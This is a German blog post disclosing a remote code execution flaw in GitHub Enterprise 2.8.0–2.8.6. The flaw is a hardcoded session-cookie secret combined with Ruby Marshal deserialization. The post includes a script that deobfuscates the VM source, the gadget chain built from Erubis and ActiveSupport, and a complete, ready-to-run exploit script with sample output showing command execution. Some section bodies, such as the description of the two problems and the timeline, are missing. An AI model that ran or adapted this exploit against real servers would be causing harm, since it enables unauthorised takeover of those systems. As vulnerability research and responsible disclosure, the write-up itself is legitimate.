GitHub Enterprise Remote Code Execution

Eine Story über giftige Kekse und große Bounties.


GitHub Enterprise Remote Code Execution

Jeder benutzt GitHub. Menschen, die viel buntes Papier besitzen oder besonders paranoid sind, können ihr eigenes GitHub aufsetzen. Das kostet 2.500 US-Dollar pro 10 Benutzerjahre und nennt sich GitHub Enterprise: Eine virtuelle Maschine, in der eine komplette GitHub-Instanz mit allem drum und dran läuft. Abgesehen von ein paar Edgecases die mit einem gelegentlichen Aufruf von GitHub.enterprise? abgefackelt werden, läuft der selbe Code wie im Original.

Ein lohnendes Ziel also.

Deobfuszierung

Wer sich GitHub Enterprise herunterlädt, kriegt ein VirtualBox-Image, das alles wesentliche enthält. Bootet man jedoch ein beliebiges Recovery-Image, kann man sich in der Maschine umsehen. Im Verzeichnis /data liegt der Code von GitHub:

data
├── alambic
├── babeld
├── codeload
├── db
├── enterprise
├── enterprise-manage
├── failbotd
├── git-hooks
├── github
├── git-import
├── gitmon
├── gpgverify
├── hookshot
├── lariat
├── longpoll
├── mail-replies
├── pages
├── pages-lua
├── render
├── slumlord
└── user

Leider ist der "verschlüsselt". Der Großteil des Codes sieht ungefähr so aus:

require "ruby_concealer"
__ruby_concealer__ "\xFF\xB3/\xDFH\x8A\xA7\xBF=U\xED\x91y\xDA\xDB\xA2qV <more binary yada yada>"

Es stellt sich heraus, dass es ein ruby-Modul namens ruby_concealer.so gibt, dass einfach Zlib::Inflate::inflate auf dem String aufruft und dann mit dem folgenden String ver-XOR-t: "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. ". Da hat GitHub nicht ganz unrecht. Mit dem folgeden Tool kann man den Code entschlüsseln.

#!/usr/bin/ruby
#
# This tool is only used to "decrypt" the github enterprise source code.
#
# Run in the /data directory of the instance.

require "zlib"
require "byebug"

KEY = "This obfuscation is intended to discourage GitHub Enterprise customers "+
"from making modifications to the VM. We know this 'encryption' is easily broken. "

class String
  def unescape
    buffer = []
    mode = 0
    tmp = ""

    # https://github.com/ruby/ruby/blob/trunk/doc/syntax/literals.rdoc#strings
    sequences = {
      "a"  => 7,
      "b"  => 8,
      "t"  => 9,
      "n"  => 10,
      "v"  => 11,
      "f"  => 12,
      "r"  => 13,
      "e"  => 27,
      "s"  => 32,
      "\"" => 34,
      "#"  => 35,
      "\\" => 92,
      "{"  => 123,
      "}"  => 125,
    }

    self.chars.each do |c|
      if mode == 0
        if c == "\\"
          mode = 1
          tmp = ""
        else
          buffer << c.ord
        end
      else
        tmp << c

        if tmp[0] == "x"
          if tmp.length == 3
            buffer << tmp[1..2].hex
            mode = 0
            tmp = ""
            next
          else
            next
          end
        end

        if tmp.length == 1 && sequences[tmp]
          buffer << sequences[tmp]
          mode = 0
          tmp = ""
          next
        end

        raise "Unknown sequences: \"\\#{tmp}\""
      end
    end

    buffer.pack("C*")
  end

  def decrypt
    i, plaintext = 0, ''

    Zlib::Inflate.inflate(self).each_byte do |c|
      plaintext << (c ^ KEY[i%KEY.length].ord).chr
      i += 1
    end
    plaintext
  end
end

Dir.glob("**/*.rb").each do |file|
  header = "require \"ruby_concealer.so\"\n__ruby_concealer__ \""
  len = header.length
  File.open(file, "r+") do |fh|
    if fh.read(len) == header
      puts file
      ciphertext = fh.read[0..-1].unescape
      plaintext  = ciphertext.decrypt
      fh.truncate(0)
      fh.rewind
      fh.write(plaintext)
    end
  end
end

Das Enterprise-Management-Interface

Hat man den Code, kann man jetzt einfacher nach Sicherheitslücken suchen. Die Management-Konsole sieht nach einem vielversprechenden Ziel für derartigen Schabernack aus. Als Admin der Instanz kann man dort SSH-Keys für root-Zugriff hinzufügen, ein paar Dienste herunterfahren und anderes. Der Normalsterbliche sieht nur den Login-Screen:

Enterprise Management Interface zeigt Login screen

Wenig überraschend liegt der Code dafür in /data/enterprise-manage/current/.

Session Management

Weil das Management-Interface eine normale rack-Applikation ist, war der erste Ansatz, in das config.ru file zu schauen, um die grundsätzliche Struktur der App zu analysieren. Es springt einem ins Auge, dass die Applikation Rack::Session::Cookie benutzt. Wie der Name schon sagt, handelt es sich um eine rack-Middleware, die die Session-Daten in einen Cookie schreibt.

# Enable sessions
use Rack::Session::Cookie,
  :key          => "_gh_manage",
  :path         => "/",
  :expire_after => 1800, # 30 minutes in seconds
  :secret       => ENV["ENTERPRISE_SESSION_SECRET"] || "641dd6454584ddabfed6342cc66281fb"

Das Innenleben tut im wesentlichen folgendes:

Session-Daten in einen Cookie serialisieren

Wenn der Request in der Rack-Applikation fertig bearbeitet ist, speichert Rack::Session::Cookie die Session-Daten nach folgendem Verfahren in einen Cookie:

Session-Daten aus dem Cookie deserialisieren

Die andere Richtung funktioniert äquivalent: Die Daten werden aus dem Cookie geladen. Ich präsentiere hier ein Beispiel. Angenommen, der Cookie ist folgender:

cookie = "BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTRhYjMwYjIyM2Y5MTMzMGFiMmJj%0AMjdiMDI1O"+
"WY1ODkxMzA2OGNlMGVmOTM0ODA1Y2QwZGRiZGQwYTM3MTEwNzgG%0AOwBGSSIPY3NyZi50b2tlbgY7AFR"+
"JIjFKMzgrbExpUnpkN3ZEazZld1N1eUhY%0AcjQ0akFlc3NjM1ZFVzArYjI3aWdNPQY7AEY%3D%0A--5e"+
"b02d2e1b1845e9f766c2282de2d19dc64d0fb9"

Zuerst wird der String am "--", gesplittet, ein umgekehrtes URL-Escaping gemacht und das Ergebnis mit Base64 dekodiert um die binären Daten und die Signatur zu erhalten:

data, hmac = cookie.split("--")
data = CGI.unescape(data).unpack("m").first

# => data = "\x04\b{\aI\"\x0Fsession_id\x06:\x06ETI\"E4ab30b223f91330ab2bc27b025
# 9f58913068ce0ef934805cd0ddbdd0a3711078\x06;\x00FI\"\x0Fcsrf.token\x06;\x00TI\"
# 1J38+lLiRzd7vDk6ewSuyHXr44jAessc3VEW0+b27igM=\x06;\x00F"
# => hmac = "5eb02d2e1b1845e9f766c2282de2d19dc64d0fb9

Anschließend wird der erwartete HMAC berechnet:

secret = "641dd6454584ddabfed6342cc66281fb"
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)

Wenn der berechnete Hash mit dem erwarteten übereinstimmt, werden die Daten an Marshal.load übergeben. Ansonsten werden sie verworfen:

if expected_hmac == hmac
  session = Marshal.load(data)
end

# => {"session_id" => "4ab30b223f91330ab2bc27b0259f58913068ce0ef934805cd0ddbdd0a3711078",
#     "csrf.token" => "J38+lLiRzd7vDk6ewSuyHXr44jAessc3VEW0+b27igM="}

Die Sicherheitslücke

Im obigen Code gibt es nun zwei Probleme.

Das Exploit bauen

Um beliebigen Code auszuführen, braucht es einen Input für Marshal.load der den Code bei der Deserialisierung ausführt. Dazu braucht es ein Objekt, dass den Code bei Zugriff auf das Objekt ausführt. Das kann man in zwei Stufen machen:

Ein bösartiges ERb template

Wenn .erb-Templates geparst werden, liest Erubis die Datei aus und erzeugt ein Erubis::Eruby-Objekt, dass dann in der Instanzvariable @src das Template enthält. Wenn object.result aufgerufen wird, wird der eingelesene Code dann ausgeführt. Der erste Schritt ist also, so ein Objekt zu erzeugen.

erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "%x{id > /tmp/pwned}; 1"
# erubis.result would run the code

Ein böser InstanceVariableProxy

In ActiveSupport gibt es einen bequemen Weg, den Benutzer mitzuteilen, dass sich ein Feature geändert hat. Per ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy kann eine deprecated Instanz-Variable geproxyt werden, so dass die neue aufgerufen wird und eine Warnung ausgibt. Das ist Schritt zwei:

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)
session = {"session_id" => "", "exploit" => proxy}

Wird jetzt session["exploit"] aufgerufen, ruft das dann erubis.result, was dann den eingebetteten Shellcode id > /tmp/pwned ausführt und 1 zurückgibt

Verpackt man dieses Objekt jetzt in einen Session-Cookie und signiert ihn mit dem Secret, erlaubt das die Ausführung von beliebigem Code.

Das Exploit

Hier ist der komplette Exploit-Code den ich GitHub geschickt habe. Nur für Bildungszwecke.

#!/usr/bin/ruby
require "openssl"
require "cgi"
require "net/http"
require "uri"

SECRET = "641dd6454584ddabfed6342cc66281fb"

puts '                     ___.   .__                 '
puts '  ____ ___  ________ \_ |__ |  |  __ __   ____  '
puts '_/ __ \\\\  \/  /\__  \ | __ \|  | |  |  \_/ __ \ '
puts '\  ___/ >    <  / __ \| \_\ \  |_|  |  /\  ___/ '
puts ' \___  >__/\_ \(____  /___  /____/____/  \___  >'
puts '     \/      \/     \/    \/                 \/ '
puts ''
puts "github Enterprise RCE exploit"
puts "Vulnerable: 2.8.0 - 2.8.6"
puts "(C) 2017 iblue <iblue@exablue.de>"

unless ARGV[0] && ARGV[1]
  puts "Usage: ./exploit.rb <hostname> <valid ruby code>"
  puts ""
  puts "Example: ./exploit.rb ghe.example.org \"%x(id > /tmp/pwned)\""
  exit 1
end

hostname = ARGV[0]
code = ARGV[1]

# First we get the cookie from the host to check if the instance is vulnerable.
puts "[+] Checking if #{hostname} is vulnerable..."

http = Net::HTTP.new(hostname, 8443)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates

rqst = Net::HTTP::Get.new("/")

while res = http.request(rqst)
  case res
  when Net::HTTPRedirection then
    puts "  => Following redirect to #{res["location"]}..."
    rqst = Net::HTTP::Get.new(res["location"])
  else
    break
  end
end

def not_vulnerable
  puts "  => Host is not vulnerable"
  exit 1
end

unless res['Set-Cookie'] =~ /\A_gh_manage/
  not_vulnerable
end

# Parse the cookie
begin
  value = res['Set-Cookie'].split("=", 2)[1]
  data = CGI.unescape(value.split("--").first)
  hmac = value.split("--").last.split(";", 2).first
  expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data)
  not_vulnerable if expected_hmac != hmac
rescue
  not_vulnerable
end

puts "  => Host is vulnerable"

# Now construct the cookie
puts "[+] Assembling magic cookie..."

# Stubs, since we don't want to execute the code locally.
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end

erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "#{code}; 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"

session = {"session_id" => "", "exploit" => proxy}

# Marshal session
dump = [Marshal.dump(session)].pack("m")
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

puts "[+] Sending cookie..."

rqst = Net::HTTP::Get.new("/")
rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"

res = http.request(rqst)

if res.code == "302"
  puts "  => Code executed."
else
  puts "  => Something went wrong."
end

Anwendungsbeispiel

iblue@raven:/tmp$ ruby exploit.rb 192.168.1.165 "%x(id > /tmp/pwned)"
                     ___.   .__
  ____ ___  ________ \_ |__ |  |  __ __   ____
_/ __ \\  \/  /\__  \ | __ \|  | |  |  \_/ __ \
\  ___/ >    <  / __ \| \_\ \  |_|  |  /\  ___/
 \___  >__/\_ \(____  /___  /____/____/  \___  >
     \/      \/     \/    \/                 \/

[+] Checking if 192.168.1.165 is vulnerable...
  => Following redirect to /setup/...
  => Following redirect to https://192.168.1.165:8443/setup/unlock?redirect_to=/...
  => Host is vulnerable
[+] Assembling magic cookie...
[+] Sending cookie...
  => Code executed.



iblue@raven:/tmp$ ssh -p122 admin@192.168.1.165
     ___ _ _   _  _      _      ___     _                    _
    / __(_) |_| || |_  _| |__  | __|_ _| |_ ___ _ _ _ __ _ _(_)___ ___
   | (_ | |  _| __ | || | '_ \ | _|| ' \  _/ -_) '_| '_ \ '_| (_-</ -_)
    \___|_|\__|_||_|\_,_|_.__/ |___|_||_\__\___|_| | .__/_| |_/__/\___|
                                                   |_|

Administrative shell access is permitted for troubleshooting and performing
documented operations procedures only. Modifying system and application files,
running programs, or installing unsupported software packages may void your
support contract. Please contact GitHub Enterprise technical support at
enterprise@github.com if you have a question about the activities allowed by
your support contract.
Last login: Thu Jan 26 10:10:19 2017 from 192.168.1.145
admin@ghe-deepmagic-de:~$ cat /tmp/pwned 
uid=605(enterprise-manage) gid=605(enterprise-manage) groups=605(enterprise-manage)

Zeitleiste

Danksagung

Besonderer Dank gilt joernchen of Phenoelit, der einen schönen Artikel über die Sicherheit von Ruby on Rails geschrieben hat. Ich habe seine Technik für den Exploit benutzt. Danke!

Besonderer Bank gilt außerdem Orange, dessen Blog-Artikel über GitHub Enterprise erst auf die Idee gebracht hat.